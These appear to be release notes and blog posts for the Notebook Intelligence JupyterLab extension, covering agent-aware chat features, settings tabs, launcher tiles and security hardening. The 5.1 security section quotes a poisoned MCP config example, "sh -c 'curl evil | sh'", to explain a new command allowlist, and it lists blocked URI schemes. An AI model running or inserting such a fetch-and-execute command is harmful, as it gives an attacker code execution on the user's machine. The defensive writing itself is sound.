Tool calls become status cards

When the agent runs a tool in Claude mode, that call now shows up as its own card in the chat, instead of scrolling past as one-line progress text that disappears when the turn ends.

Each card shows:

• A kind icon (read, edit, execute, or other) and a humanized label. Built-in tools and mcp__<server>__<tool> names map to friendly text, with a sentence-case fallback for tools NBI does not recognize.
• A live status that moves through in-progress, completed, failed, or cancelled and then stays on screen as part of the transcript.
• An inline diff for edit-style tools (Edit, MultiEdit, Write, and their MCP-wrapped variants), capped and truncation-marked for large changes so a big write does not flood the sidebar.

A run of consecutive tool calls collapses into a single expandable group, so a tool-heavy turn reads as one unit rather than a wall of rows. Large groups that have already settled start collapsed; a group that is still running stays open so you can watch it work. The kind and label lookups that drive the icons are now a single shared map, so a tool is categorized the same way everywhere.

Custom spinner verbs

The “Generating” label in Claude mode can now cycle verbs you pick. NBI reads spinnerVerbs from ~/.claude/settings.json: set mode to "replace", list your verbs, and NBI rotates through them while the agent works (shuffled, a few seconds per verb, no immediate repeats):

{
  "spinnerVerbs": {
    "mode": "replace",
    "verbs": ["Crunching", "Caffeinating", "Reticulating splines"]
  }
}

The current verb is mirrored into a hidden live region, so screen readers announce verb changes without re-reading the elapsed-time counter on every tick.

Always-visible chat feedback

The thumbs up/down buttons used to reveal only on hover, which was easy to miss. A new enable_chat_feedback_always_visible traitlet (default off, and it requires enable_chat_feedback = True) renders them at full opacity on every assistant reply, and shows them as soon as the reply lands instead of waiting for the stream to finish. The tooltips are reworded to “Good response” and “Bad response” (screen readers announce “Rate response as good” / “Rate response as bad”) so the rating reads as feedback on the answer.

c.NotebookIntelligence.enable_chat_feedback = True
c.NotebookIntelligence.enable_chat_feedback_always_visible = True

Two opt-in security guardrails

Both stay out of the way of single-user setups: the allowlist is empty by default, and the token-password check only warns unless you opt into refusal.

MCP stdio-command allowlist. A stdio MCP server is spawned as a subprocess of the Jupyter user, and a poisoned config like { "command": "sh", "args": ["-c", "curl evil | sh"] } was previously accepted. Set a regex allowlist and every stdio server, whether added through the Claude-mode UI or loaded from mcp.json, must match at least one pattern or the admin gate rejects it:

# Only these two binaries may back a stdio MCP server.
c.NotebookIntelligence.mcp_stdio_command_allowlist = [
    "^/usr/local/bin/uvx$",
    "^/usr/local/bin/npx$",
]

The env-var form NBI_MCP_STDIO_COMMAND_ALLOWLIST (CSV) appends to the traitlet, so a base image can set an org baseline and a spawn profile can add to it. Empty (the default) means no enforcement. See Restricting MCP stdio commands.

Default token-password check on shared filesystems. The default NBI_GH_ACCESS_TOKEN_PASSWORD is a public literal; on a shared-home cluster, anyone who can read another user’s ~/.jupyter/nbi/user-data.json can decrypt their Copilot token with it. NBI now logs a warning the first time it touches the stored token while that default is in use, escalated when the directory is group- or other-readable. Set NBI_REFUSE_DEFAULT_TOKEN_PASSWORD_ON_SHARED_FS=1 to turn that into a hard refusal of the write when both conditions hold; NBI_ALLOW_DEFAULT_TOKEN_PASSWORD=1 opts back out per pod. The check is POSIX-only and the refusal is opt-in. The real fix remains a per-user password (for example, derived from a Hub secret).

Cancel cleans up after the agent

Cancelling an in-flight Claude turn used to kill only the direct claude CLI process. Anything the agent had spawned (shells, MCP servers, dev servers) was reparented to init and leaked, accumulating across cancels and restarts. Cancel now tears down the whole process tree the agent created, gracefully and then forcefully, without signalling the Jupyter server’s own process group.

Smaller fixes

• Notebook-agent prompts and tool responses got clearer (#351): the prompts encourage incremental analysis instead of generating a whole notebook in one pass, add-code-cell / add-markdown-cell return the inserted cellIndex, and read_file caps its output with UTF-8-safe truncation.
• Forged upload-context paths are rejected (#348): a WebSocket upload attachment must resolve under the server upload root before an image read or Claude file mention uses it.
• Claude session-resume commands are shell-quoted (#349), so session metadata cannot break out of claude --resume.
• Diff lines stay readable in dark theme and the tool-call group no longer flickers while a turn streams.

Install

pip install --upgrade notebook-intelligence

Then restart JupyterLab. Full release notes are in the 5.1.0 CHANGELOG.

Upgrading from before the rename? If you see two Notebook Intelligence icons in the sidebar after upgrading, an old labextension from before the @plmbr scope rename is still installed next to the new one, and JupyterLab is loading both. Run jupyter labextension list; if both @notebook-intelligence/notebook-intelligence and @plmbr/notebook-intelligence show as enabled, remove the stale @notebook-intelligence one. Steps are in troubleshooting.

This is the final post in a three-part tour of everything that landed since NBI 4.8. The first post covered the new top-level Settings tabs for Skills, MCP, and Plugins. The second walked through the agent-aware chat sidebar. Here we step outside the sidebar entirely: launching coding agents straight from the JupyterLab launcher, a provider fix that lets Codex models work in chat, dynamic model discovery for GitHub Copilot, an end-to-end accessibility pass, and a round of platform security hardening.

Coding-agent launcher tiles

NBI is not only a chat sidebar. Many people run command-line coding agents in a terminal, and JupyterLab already has terminals built in. So the launcher now carries a “Coding Agent” section with tiles for Claude Code, opencode, Pi, GitHub Copilot CLI, and OpenAI Codex. Clicking a tile opens a Jupyter terminal and starts that agent there, which keeps your agent session next to your notebooks rather than in a separate window.

A tile appears only when its binary is found on PATH. If you have claude installed but not codex, you see the Claude Code tile and not the Codex one, so the launcher reflects what you can actually run. The screenshot below shows a machine where only Claude Code is on PATH. When a CLI lives somewhere unusual, you can point NBI at it with a path override: NBI_OPENCODE_CLI_PATH, NBI_PI_CLI_PATH, NBI_GITHUB_COPILOT_CLI_PATH, or NBI_CODEX_CLI_PATH. The Claude Code tile is no longer gated by Claude chat mode; it shows whenever claude is on PATH, independent of which chat mode you have selected.

By default a tile opens a terminal at the file browser’s current directory, which is usually what you want. When it is not, you can pick where the session starts: clicking a tile (or “New Session” on the Claude resume dialog) opens a directory picker first, so the terminal lands in the folder you choose.

For shared deployments, the tiles can be governed centrally. The disabled_coding_agent_launchers traitlet takes a list of launcher identifiers (claude-code, opencode, pi, github-copilot-cli, codex) and hides those tiles. If an operator wants to disable a launcher fleet-wide but still let individual pods opt back in, they can set allow_enabling_coding_agent_launchers_with_env and then re-enable per pod through NBI_ENABLED_CODING_AGENT_LAUNCHERS.

Codex chat models over the /responses endpoint

GitHub Copilot’s Codex-family chat models, such as gpt-5.3-codex, used to fail when you picked one from the chat-model dropdown. The reason is that these models are not served by Copilot’s standard /chat/completions path at all. They are served only by Copilot’s mirror of the OpenAI Responses API, and sending a Codex model to /chat/completions returns an HTTP 400. So the model would show up as selectable but error out the moment you sent a message.

NBI 5.0.1 fixes this by choosing the endpoint per model rather than assuming /chat/completions for everything. The Copilot /models catalog describes each model with a supported_endpoints field, and NBI reads that field to decide where a given model’s requests should go. For offline sessions where the catalog is not available, it falls back to a codex substring check on the model name. When a model belongs on the Responses API, NBI translates both the request body and the streaming events into the Responses shape so the chat experience is identical to any other model. There are no new settings to configure: the endpoint dispatch is internal to the Copilot provider.

Dynamic GitHub Copilot model discovery

The list of models Copilot offers changes over time, and a hardcoded dropdown drifts out of date. NBI now queries https://api.githubcopilot.com/models on each Copilot token refresh and rebuilds the chat-model dropdown from the live response, so newly released models appear without an NBI upgrade. If that request fails transiently, NBI falls back to a built-in list rather than showing an empty dropdown, and that fallback list was itself refreshed with newer Copilot models so the offline path stays current.

Accessibility

A coding assistant should be usable without a mouse and without sight, so NBI went through an accessibility pass spanning many pull requests. The goal was end-to-end navigation by keyboard and by screen reader, audited under JupyterLab’s light, dark, and high-contrast themes so the work holds up across appearances rather than only in the default theme.

A few of the concrete changes:

• The chat-sidebar header icons are now real, keyboard-reachable buttons rather than click-only glyphs.
• The Settings tabs form an ARIA tablist with arrow-key navigation between tabs.
• The workspace, tools, and slash-command popovers are keyboard-first, and focus is restored to where you were when they close.
• Settings checkboxes carry the WAI-ARIA checkbox role and activate with the Space key.
• Streaming chat replies announce through an aria-live="polite" region, so a screen reader follows the response as it arrives instead of going silent.
• A visually hidden skip-to-input link is the sidebar’s first focusable child, so you can jump straight to the prompt.
• The animated border on the generating state pauses under prefers-reduced-motion.
• A global Ctrl/Cmd+Shift+L shortcut focuses the chat input from anywhere in Lab.

Security and platform

The 5.0.0 release also tightened several boundaries that matter when NBI runs in a shared or multi-user deployment.

File-path handling is the largest piece. The shell tool’s working_directory and the Claude UI-bridge tool paths are now sandboxed to jupyter_root, so an agent cannot operate on paths outside the Jupyter server’s root. The encrypted GitHub-token file is forced to mode 0o600 on every save, keeping it readable only by its owner. Process-environment secrets, meaning variables whose names look like API_KEY, TOKEN, or SECRET, are scrubbed from shell-tool output so they do not leak into the transcript. Anchor URIs in chat are filtered against an XSS allowlist. And Copilot WebSocket upgrades now require Jupyter authentication and pass an origin check before the connection is accepted.

One dependency change is worth calling out because it can affect downstream code. NBI replaced fastmcp with the official mcp SDK. The external behavior is unchanged, but the swap unblocked installs on Python 3.14 and picked up urllib3>=2.7.0 CVE fixes. If your own code relied on fastmcp being present transitively through NBI, you now need to declare it as your own dependency.

Wrapping up

That closes the series. Across these three posts NBI grew a manageable toolbox for Skills, MCP, and Plugins, an agent-aware chat sidebar, launcher tiles for command-line coding agents, a correct path for Codex models, live Copilot model discovery, broad accessibility, and a hardened platform underneath. To try any of it, install or upgrade NBI and check the documentation for setup details and the full set of admin policies.

This is part 3 of a 3-part look at what is new since NBI 4.8. See also Managing Claude’s toolbox: Skills, MCP, and Plugins and An agent-aware chat sidebar.

When the assistant in the sidebar is a long-running agent rather than a single-shot chat model, the surface around it has to change. An agent works for tens of seconds at a stretch, calls tools, and writes files on disk. A sidebar built for quick question-and-answer turns will look hung while that happens, and your editor tabs will quietly fall out of date. NBI 5.0 reworks the chat sidebar to be agent-aware: it reflects what the agent is doing while it does it, and it keeps your workspace in sync with the changes the agent makes.

You can see what the agent is doing

A long Claude turn used to give you nothing to look at. The sidebar now shows real progress feedback: an elapsed-time counter so you know how long the turn has been running, a heartbeat-driven pulse that confirms the connection is alive, and inline narration of each tool call so you can read what the agent is reaching for. If a turn runs past 30 seconds, the copy flips to acknowledge that it may be slow, which is honest about expectations instead of leaving you guessing. The point is simple: a working agent should never be indistinguishable from a stuck one.

Your open files stay in sync with the agent’s edits

When an agent edits a file, the version you are looking at in an open tab is suddenly stale. You read the old contents, the agent reads and writes the new ones, and the two of you disagree about the state of the world. To close that gap, NBI polls every open document tab and reverts it through the document context when the file on disk is newer than the in-memory model. Tabs with unsaved local edits are skipped, so the feature never throws away work you have in progress.

This is controlled by the refresh_open_files_on_disk_change user setting, which is on by default and lives in NBI Settings under External changes. Administrators can pin it with the NBI_REFRESH_OPEN_FILES_ON_DISK_CHANGE_POLICY policy or the matching traitlet.

Attachments became pointers, not pasted text

In Claude mode, attaching a workspace file no longer means reading its contents in the browser and injecting a fenced code block into the prompt. Instead the backend emits an @<workspace-relative-path> pointer, and Claude’s own Read tool fetches exactly what it needs. That difference matters more than it sounds. The old content-injection path truncated large files and skipped anything it could not turn into text, which ruled out images and made notebooks awkward. With a pointer, the Read tool handles images, large files, and cell-aware notebook reads on the agent side. Notebook cell pointers and text-selection line ranges are preserved, so asking “explain this cell” still has a concrete referent.

Two smaller touches round out attachments. Image context thumbnails now show a hover preview so you can confirm you attached the right picture without opening it. And you can drag a file straight onto a JupyterLab terminal to attach it: a per-terminal toolbar toggle decides whether the drop inserts an @-mention path or a shell-escaped raw path. Drag-drop can be governed by the NBI_TERMINAL_DRAG_DROP_POLICY admin policy, and the shared upload-staging endpoint behind both terminal drops and chat attachments is bounded by NBI_UPLOAD_MAX_MB (default 50) and NBI_UPLOAD_RETENTION_HOURS (default 24).

Links open where you expect

The model often emits markdown links in its replies. Those links used to navigate the top-level document on click, which unloaded your entire Lab session. As of 5.0.1, external links (http, https, and mailto) open in a new tab with target="_blank" and rel="noopener noreferrer". Workspace-relative paths open the referenced file through JupyterLab’s document manager, fragment-only links are rendered as inert text, and disallowed schemes such as javascript: are blocked outright. Clicking a link the agent suggested should take you somewhere, not throw away your work.

Smaller course corrections

A few changes are about teaching the sidebar to do the obvious thing. The Claude system prompt was steered away from over-eager notebook creation: attach a file and ask a question about it, and the agent answers in chat rather than spinning up a fresh notebook to hold its answer. A New chat session button in the header restarts the Claude SDK client, the same as typing /clear, when you want a clean slate. A first-run tour points out the gear, the file-attach button, the chat-mode dropdown, and the Claude session history icon when it is available; it is capability-aware, so it skips steps for CLIs you do not have installed, and you can replay it any time from the command palette with “Show NBI tour”. Finally, a global Ctrl/Cmd+Shift+L shortcut focuses the chat input from anywhere in Lab, so getting a question to the agent never requires reaching for the mouse.

Taken together, these changes make the sidebar a faithful window onto the agent: you can see it work, trust that your files match what it did, and point it at the right context without fighting the UI.

This is part 2 of a 3-part look at what is new since NBI 4.8. See also Managing Claude’s toolbox: Skills, MCP, and Plugins and Coding-agent launchers, Codex, and a hardened platform.

When you run Claude inside NBI, the agent rarely works with the model alone. It reaches for Skills you have written, MCP servers that expose external data and actions, and plugins that bundle commands and configuration. In NBI 5.0 these three capabilities each became their own top-level Settings tab, with a consistent admin-policy story layered on top. This post walks through what each tab manages, where the underlying configuration lives on disk, the import and marketplace workflows, and how an administrator can pin any of them on or off. Later in this series we look at the agent-aware chat sidebar and the coding-agent launchers and platform work.

Skills

A Skill is a directory holding a SKILL.md file plus any helper files it needs. Claude invokes Skills like callable plugins, so a Skill is how you teach the agent a repeatable procedure once and reuse it across sessions. Skills live under ~/.claude/skills/ at user scope or <project>/.claude/skills/ at project scope.

In earlier releases the Skills UI was tucked inside the Claude-mode settings. NBI 5.0 promotes it to a top-level tab that is visible in any mode. If Claude mode happens to be off, the tab still appears and shows a hint banner explaining that Skills apply when Claude mode is active.

The tab supports three ways to get Skills onto disk. You can author one in place with New Skill. You can Import from GitHub by pasting a github.com/owner/repo/tree/main/skills/<name> URL: NBI fetches the tarball, validates it, and installs it. During import you can check Track upstream, which makes the Skill auto-syncable. Tracked Skills gain a per-Skill Sync button plus a panel-level “Sync tracking skills” button, so you can pull upstream changes on demand. The GitHub archive is capped at 100 MB; you can raise or lower that with NBI_SKILL_MAX_ARCHIVE_MB, where 0 disables the cap entirely.

The third path is for organizations. Point NBI_SKILLS_MANIFEST (or the skills_manifest traitlet) at one or more YAML manifests, given as comma-separated URLs and filesystem paths. NBI unions them with first-wins deduplication for URLs. A reconciler installs every Skill listed in the manifest at startup and re-checks every 24 hours. Managed Skills are read-only in the UI and carry a MANAGED badge; if a user deletes one, the reconciler restores it on its next pass. Managed and upstream-tracked are mutually exclusive: a Skill the organization owns is not also user-syncable. If you need to halt reconciliation, there is an authenticated, idempotent kill switch at POST /notebook-intelligence/skills/reconciler/stop. There is deliberately no /start companion, and the reconciler also stops itself if its policy reads force-off.

That policy is NBI_SKILLS_MANAGEMENT_POLICY. Setting it to force-off hides the tab, returns HTTP 403 from every /notebook-intelligence/skills/* route, and suppresses the managed-skills reconciler, so the feature is genuinely off rather than merely hidden.

Claude MCP Servers

The Model Context Protocol (MCP) lets Claude talk to external tools and data sources through standardized server processes. The Claude MCP Servers tab manages the user-, project-, and local-scope MCP entries that Claude Code reads from ~/.claude.json and <project>/.mcp.json. This is separate from the existing non-Claude NBI MCP tab; the two never appear at the same time, so you always see the one that matches your current mode.

Each entry can be enabled or disabled per workspace without being removed, which is useful when a server is configured globally but you only want it active in some projects. Adding a server by hand can be tedious, so the tab also accepts a JSON paste: drop in a Claude, Cursor, or VS Code MCP config blob and NBI parses it, validates it, and pre-fills the form for you. Malformed entries are rejected on the server side, so a bad paste never quietly lands in your config file.

Administrators gate the whole tab with NBI_CLAUDE_MCP_MANAGEMENT_POLICY, which takes the same three values as the other tabs.

Claude Plugins

The Claude Plugins tab wraps the claude plugin command-line tool, giving you a UI for install, uninstall, enable, disable, and marketplace operations without dropping to a terminal. Plugins bundle commands and configuration that extend what Claude can do.

The marketplace picker browses your configured marketplaces and installs inline, showing each plugin’s source repository, version, and description so you know what you are adding before you commit. When a newer version exists upstream, the affected plugin gets a per-plugin Update button. GitHub-sourced marketplace adds reuse the standard token precedence of GITHUB_TOKEN, then GH_TOKEN, then gh auth token. Those tokens are passed through the subprocess environment, never on the command line, so they do not leak into argument lists or process listings.

Plugins carry two policies rather than one. NBI_CLAUDE_PLUGINS_MANAGEMENT_POLICY governs the tab as a whole, and NBI_ALLOW_GITHUB_PLUGIN_IMPORT separately controls whether GitHub marketplace sources are permitted. That split lets an administrator allow plugin management from trusted marketplaces while still blocking arbitrary GitHub imports.

One policy model, three tabs

The three tabs share a single admin-policy shape. Every policy accepts force-on, force-off, or user-choice. A force-* value locks the corresponding control in the UI so users cannot toggle it, while user-choice hands the decision back to the user. The policies are parsed strictly: a typo such as force_on raises an error at startup rather than silently falling back to a default, so a misconfigured deployment fails loudly instead of behaving in a way you did not intend.

Taken together, Skills, Claude MCP Servers, and Claude Plugins make the agent’s toolbox visible and manageable in one place, with consistent controls for both individual users and the administrators who deploy NBI to a team. In the next post we turn to how the chat experience itself surfaces what the agent is doing.

This is part 1 of a 3-part look at what is new since NBI 4.8. See also An agent-aware chat sidebar and Coding-agent launchers, Codex, and a hardened platform.

If you just want the upgrade command, jump to Install. The migration notes worth reading before upgrading are in the release notes.

Three new Settings tabs

The Settings dialog gains three top-level tabs. Each ships with an admin-policy gate.

• Skills. Promoted from a Claude-mode sub-tab; visible in any mode, with a hint banner when Claude mode is off. New policy NBI_SKILLS_MANAGEMENT_POLICY. force-off hides the tab, 403s every /notebook-intelligence/skills/* route, and suppresses the managed-skills reconciler.
• Claude MCP Servers. Manages the user, project, and local-scope MCP entries Claude Code reads from ~/.claude.json and <project>/.mcp.json. Independent of the existing NBI MCP tab — the two never appear at the same time. New policy NBI_CLAUDE_MCP_MANAGEMENT_POLICY. Per-workspace toggle on/off without removing an entry. A JSON-paste path accepts Claude / Cursor / VS Code MCP config blobs.
• Claude Plugins. Wraps claude plugin for install / uninstall / enable / disable / marketplace add. Marketplace picker shows source repo, version, and description. Per-plugin Update button when a newer version is available. New policies NBI_CLAUDE_PLUGINS_MANAGEMENT_POLICY (whole tab) and NBI_ALLOW_GITHUB_PLUGIN_IMPORT (marketplace sources, mirroring 4.8.0’s NBI_ALLOW_GITHUB_SKILL_IMPORT).

GitHub-sourced marketplace adds reuse the Skills GITHUB_TOKEN / GH_TOKEN / gh auth token precedence; tokens go through the subprocess env, never argv.

Coding-agent launcher tiles

The JupyterLab launcher gains tiles for every coding-agent CLI on PATH:

• Claude Code (no longer gated by Claude chat mode being on)
• opencode (NBI_OPENCODE_CLI_PATH override)
• Pi (NBI_PI_CLI_PATH)
• GitHub Copilot CLI (NBI_GITHUB_COPILOT_CLI_PATH)
• OpenAI Codex (NBI_CODEX_CLI_PATH)

Clicking a tile opens a terminal at the file-browser’s current directory. The Claude tile additionally exposes a session picker for ~/.claude/projects/ transcripts. Each tile only appears when the corresponding binary is on PATH.

Admins can hide tiles via disabled_coding_agent_launchers (traitlet, list-valued). Per-pod re-enable is available via NBI_ENABLED_CODING_AGENT_LAUNCHERS when allow_enabling_coding_agent_launchers_with_env is on, so a base image can disable launchers globally and specific pods can opt back in.

Agent-aware chat UX

Long Claude turns no longer feel hung. The sidebar surfaces:

• An elapsed-time counter that starts on first request and updates per second.
• A heartbeat-driven pulse with a “may be slow” copy flip after 30 seconds.
• Inline tool-call narration as the agent works.
• A New chat session button next to the gear that restarts the SDK client — same effect as typing /clear, without typing.

A first-run chat-sidebar tour highlights the gear, file-attach button, chat-mode dropdown, and (when available) the Claude session history icon. Replays from the command palette via “Show NBI tour”. The tour is capability-aware: steps for unavailable CLIs are skipped automatically.

Refresh open files when changed on disk

When Claude (or any external process) edits a file you have open, the tab reverts to the on-disk version automatically. Tabs with unsaved local edits are skipped so your work is never clobbered. Default on; toggle in the NBI Settings dialog → External changes. Admin pin via NBI_REFRESH_OPEN_FILES_ON_DISK_CHANGE_POLICY or the matching traitlet.

This closes the “Claude edited the file but my tab still shows the old version” gap that was the most visible rough edge in agent-mode notebook work.

Workspace files attach as @-mention pointers in Claude mode

In Claude mode, attaching a workspace file no longer reads its contents client-side and injects them as a fenced code block. Instead the backend emits an @<workspace-relative-path> pointer and Claude’s Read tool fetches what it needs. This unblocks three categories that the content-injection path couldn’t handle:

• Images. Previously truncated to ASCII garbage.
• Large files. Previously hit the prompt-token ceiling and got silently dropped.
• Notebooks. Previously serialized as raw JSON; now cell-aware, so the agent reads cells one at a time.

Notebook cell-pointer prose and text-selection line ranges are preserved so deictic references (“explain this cell”, “why is this broken”) still have a referent.

Terminal drag-drop file attach

Drop a file onto a JupyterLab terminal to insert either an @-mention path (for chat consumption) or a shell-escaped raw path. A per-terminal toolbar toggle switches modes; Shift inverts for one drop. New admin policy NBI_TERMINAL_DRAG_DROP_POLICY (force-off for regulated tenants). Tunables NBI_UPLOAD_MAX_MB (default 50) and NBI_UPLOAD_RETENTION_HOURS (default 24) govern the shared upload-staging endpoint used by both terminal drops and chat-sidebar attachments.

Settings dialog gains a Workspace section

Beyond the three new tabs, the General tab grows an External changes section with the open-files refresh toggle described above, and a Choose start directory picker on each coding-agent tile (and “New Session” on the Claude resume dialog).

Accessibility pass

A multi-PR accessibility pass landed across most NBI surfaces:

• Keyboard navigation works end-to-end in the chat sidebar, popovers, and Settings tabs.
• Tab order is logical, focus traps inside dialogs, Escape closes correctly.
• Screen-reader landmarks and live regions added for streaming chat output.
• Audited under JupyterLab’s light, dark, and high-contrast themes.
• The “open notebook” link in chat responses is keyboard-reachable (was previously click-only).

Security hardening

5.0.0 ships a stack of security work. The migration-impacting items:

• Shell tool’s working_directory is sandboxed to jupyter_root. An agent-supplied absolute path or .. traversal is rejected.
• Claude UI-bridge tool paths sandboxed to jupyter_root. open_file_in_jupyter_ui and run_command_in_jupyter_terminal route through safe_jupyter_path. The Claude Agent SDK subprocess is itself rooted at jupyter_root via its cwd option.
• Encrypted GitHub token file enforces mode 0o600 on every save. An out-of-band chmod that widens permissions is undone on the next write.
• Process-env secrets scrubbed from shell-tool output. The shell tool no longer leaks API_KEY / TOKEN / SECRET-like env values into captured stdout/stderr returned to the model.
• MCP user config shape validated before persisting. Malformed JSON-paste entries are rejected server-side.
• Anchor URIs in chat messages filtered against an XSS allowlist. javascript:, data:, vbscript:, and tab/NEL/bidi-override codepoint smuggling are blocked at render time.
• Copilot WebSocket upgrades authenticated and origin-checked. Cross-origin and unauthenticated upgrade attempts are refused. Affects any custom client hitting WebsocketCopilotHandler directly.
• GitHub Enterprise host detection hardened for marketplace add — git.acme.example.com correctly routes through the GHE token / API path instead of being misclassified as public GitHub.
• Runtime kill switch for the managed-skills reconciler (POST /notebook-intelligence/skills/reconciler/stop) provides per-pod incident response without a server restart.

fastmcp → official mcp SDK

NBI now uses the official Anthropic mcp SDK via a thin internal shim. fastmcp is no longer a dependency. The swap was driven by a python-dotenv pin conflict between fastmcp>=1.1.0 and litellm==1.0.1 that blocked installs on Python 3.14, plus CVE fixes via urllib3>=2.7.0 (CVE-2026-44431 / CVE-2026-44432).

If your image pinned fastmcp because prior docs recommended it, drop the pin. If you have downstream Python code that imported fastmcp transitively via NBI, declare it as a direct dependency in your own image — the transitive path no longer exists.

Dynamic GitHub Copilot model discovery

NBI now queries https://api.githubcopilot.com/models on each Copilot token refresh and rebuilds the chat-model dropdown from the live response. Newer Copilot chat models appear in the dropdown as soon as GitHub publishes them; the hardcoded fallback list is used only on a transient /models fetch failure.

Install

pip install --upgrade notebook-intelligence

Then restart JupyterLab. Full release notes — including the migration note for shell-tool sandboxing, the Claude session inventory move, and the WebSocket origin-check — in the v5.0.0 CHANGELOG.

Workspace picker — faster, quieter, gitignore-aware

When you type @ in the chat sidebar, NBI now scans your workspace in parallel. On a 1,000-file project the scan is roughly an order of magnitude faster than the 4.7.x serial walk, with a single concurrent dispatch instead of nested awaits per directory.

Three other improvements land alongside the perf work:

• Skip dot-prefixed files. .git/, .venv/, .idea/, .DS_Store and similar entries no longer clutter the picker by default.
• Honor .gitignore. Workspace files matched by the project’s .gitignore are excluded. This is the right default for most repos and stops the picker from returning multi-megabyte build artifacts.
• Extensible filter system. Filters are pluggable internally, so future filters (a per-user allowlist, a max-file-size cap, a JupyterLab settings-driven exclude list) slot in without churn.

If you want a folder back that’s currently ignored, set additional_skipped_workspace_directories in ~/.jupyter/nbi/config.json or override at the deployment level via NBI_ADDITIONAL_SKIPPED_WORKSPACE_DIRECTORIES.

Atomic config saves

NBIConfig.save() is now atomic. Previously, a crash mid-write (or a hard kill of the JupyterLab process) could leave ~/.jupyter/nbi/config.json truncated or partially-written, and the next launch would either error out or fall back to defaults with no warning.

The new path:

1. Write the new contents to a sibling temp file in the same directory.
2. fsync() the temp file.
3. rename() the temp file over the target — atomic on POSIX, single-syscall-ish on Windows.
4. Preserve the original file’s mode and symlinks.

Net effect: the config file is either the full old contents or the full new contents at all times. No more silent corruption.

allow_github_skill_import admin policy

A new traitlet and environment variable gate the Import from GitHub Skills dialog:

• Traitlet: NotebookIntelligence.allow_github_skill_import (Bool, default True).
• Env override: NBI_ALLOW_GITHUB_SKILL_IMPORT=true|false.

When set to false, the dialog is removed from the Skills UI and the server rejects GitHub-import API calls. Org-managed manifest installs still work — this gate is for the user-driven path.

The env-var parser is fail-loud: a typo like NBI_ALLOW_GITHUB_SKILL_IMPORT=ture raises at startup rather than silently falling through to the default.

Redirect hardening on Skill fetches

The Skills GitHub-import path used to follow HTTP redirects without restriction. 4.8.0 narrows the policy:

• No HTTPS-to-HTTP downgrades. If a https://... redirect points at http://..., the request fails.
• Scope-checked redirects. Redirects to hosts outside the original request’s scope (e.g. github.com → evil.example.com) are blocked.

A malicious or hijacked Skill bundle source can no longer redirect NBI through an attacker-controlled host.

Cell toolbar position adjustment

The NBI cell toolbar’s position has been nudged to coexist better with JupyterLab’s native cell toolbar — fewer overlaps on narrow notebooks. The NBI notebook toolbar button (sparkle icon) is also now correctly gated on whether Claude mode is active.

Skipping dot-files in @-mentions

Beyond the workspace scan, the @-mention context picker also now skips dot-prefixed files at the top level. Previously they could appear in the picker if you typed @.<character> — useful in rare cases but mostly noise.

Install

pip install --upgrade notebook-intelligence

Then restart JupyterLab. Full set of changes in the v4.8.0 release notes.

Cell output actions

Right-click a cell output — or hover for the new toolbar — to open the chat sidebar with the output already attached as context. Three actions ship:

• Explain — “what is this output telling me?”
• Ask — open a chat with the output attached, ready for whatever follow-up you want.
• Troubleshoot — for stack traces, error messages, or unexpected results.

Outputs forward as structured MIME bundles, including images for vision-capable models. The attachment is token-bounded so a large output doesn’t overflow the context window.

Per-user toggles live in config.json (enable_explain_error, enable_output_followup, enable_output_toolbar, all default on). Admins can lock the feature via NBI_EXPLAIN_ERROR_POLICY, NBI_OUTPUT_FOLLOWUP_POLICY, and NBI_OUTPUT_TOOLBAR_POLICY.

Image attachments in chat

Paste or attach images alongside a prompt. When the active model is vision-capable (Claude with vision enabled, GPT-4o, Gemini, etc.), the image is forwarded as model input — useful for screenshots, plots, and architecture diagrams.

Streaming inline chat

The inline chat popover (Cmd+I / Ctrl+I) now streams tokens as they arrive instead of waiting for the full response. Long answers feel responsive instead of stalled.

Notebook-scoped generation

A sparkle icon on the active notebook’s toolbar opens a popover that scopes the generation to that notebook specifically. Useful when you have multiple notebooks open and want the agent to focus on the one in front.

Claude Code launcher tile

A Claude Code tile in the JupyterLab launcher opens a session picker: resume an existing transcript or start a new one in the file browser’s active subdirectory. Session IDs are copyable from the picker for sharing or for use with the claude CLI directly.

Repo-level AGENTS.md

When a project root contains an AGENTS.md file, NBI appends its contents under the system prompt’s “Additional Guidelines” section, alongside the existing ruleset injection. Useful for monorepos that already keep agent instructions there.

Claude WebSocket heartbeat

Long-running Claude agent requests now stay alive through upstream proxy and load-balancer idle timeouts (JupyterHub’s nginx defaults to 60s) by sending a status heartbeat every 20s while a request is in flight. Fixes Bedrock-style request failures where processing exceeded the proxy idle window.

Extended admin policy coverage

Every Settings panel toggle is now lockable via an environment variable. New boolean policies:

• NBI_CLAUDE_MODE_POLICY
• NBI_CLAUDE_CONTINUE_CONVERSATION_POLICY
• NBI_CLAUDE_CODE_TOOLS_POLICY
• NBI_CLAUDE_JUPYTER_UI_TOOLS_POLICY
• NBI_CLAUDE_SETTING_SOURCE_USER_POLICY
• NBI_CLAUDE_SETTING_SOURCE_PROJECT_POLICY
• NBI_STORE_GITHUB_ACCESS_TOKEN_POLICY

New value-presence locks (set the env var to a value to pin it; the UI control becomes read-only):

• NBI_CHAT_MODEL_PROVIDER, NBI_CHAT_MODEL_ID
• NBI_INLINE_COMPLETION_MODEL_PROVIDER, NBI_INLINE_COMPLETION_MODEL_ID
• NBI_CLAUDE_CHAT_MODEL, NBI_CLAUDE_INLINE_COMPLETION_MODEL
• ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL

The /claude-sessions HTTP route also accepts ?scope=cwd to filter to sessions whose recorded cwd matches the lab’s working directory.

Full env-var reference: docs/admin-guide.md.

Internal

• Claude agent connection now happens in the background so JupyterLab finishes loading without waiting on the SDK handshake.
• CI now runs pytest tests/ and jlpm test on every PR. Both build jobs declare permissions: { contents: read } so a compromised step can’t push.

Notable fixes

• API hygiene in notebook_intelligence.api: raise NotImplemented (which raised TypeError) is now raise NotImplementedError; five shared-default-argument cases were corrected; Signal.disconnect tolerates double-disconnect with a debug-level log; registrar methods raise a new RegistrationError instead of silently logging.
• Claude headers (model + version) now sent on inline completion calls, matching the chat path.
• OpenAI-compatible provider drops the unsupported tool.strict flag when targeting vLLM (#108).
• Symlink-aware session lookup — resolves symlinks when locating Claude session transcripts, so ~/.claude/projects/ symlinked off another volume keeps working.
• Claude worker thread no longer crashes on cancellation.
• “Generating…” row no longer reflows the chat sidebar on narrow widths.
• Skills popup in the chat sidebar dismisses on click-outside or when the input is cleared.
• Spurious “Skills reloaded” notification at Claude-session launch is gone — the watcher now keys off a structural signature of bundle dirs plus SKILL.md mtimes.

Install

pip install --upgrade notebook-intelligence

Then restart JupyterLab. Full changes in the CHANGELOG.

Claude Skills management

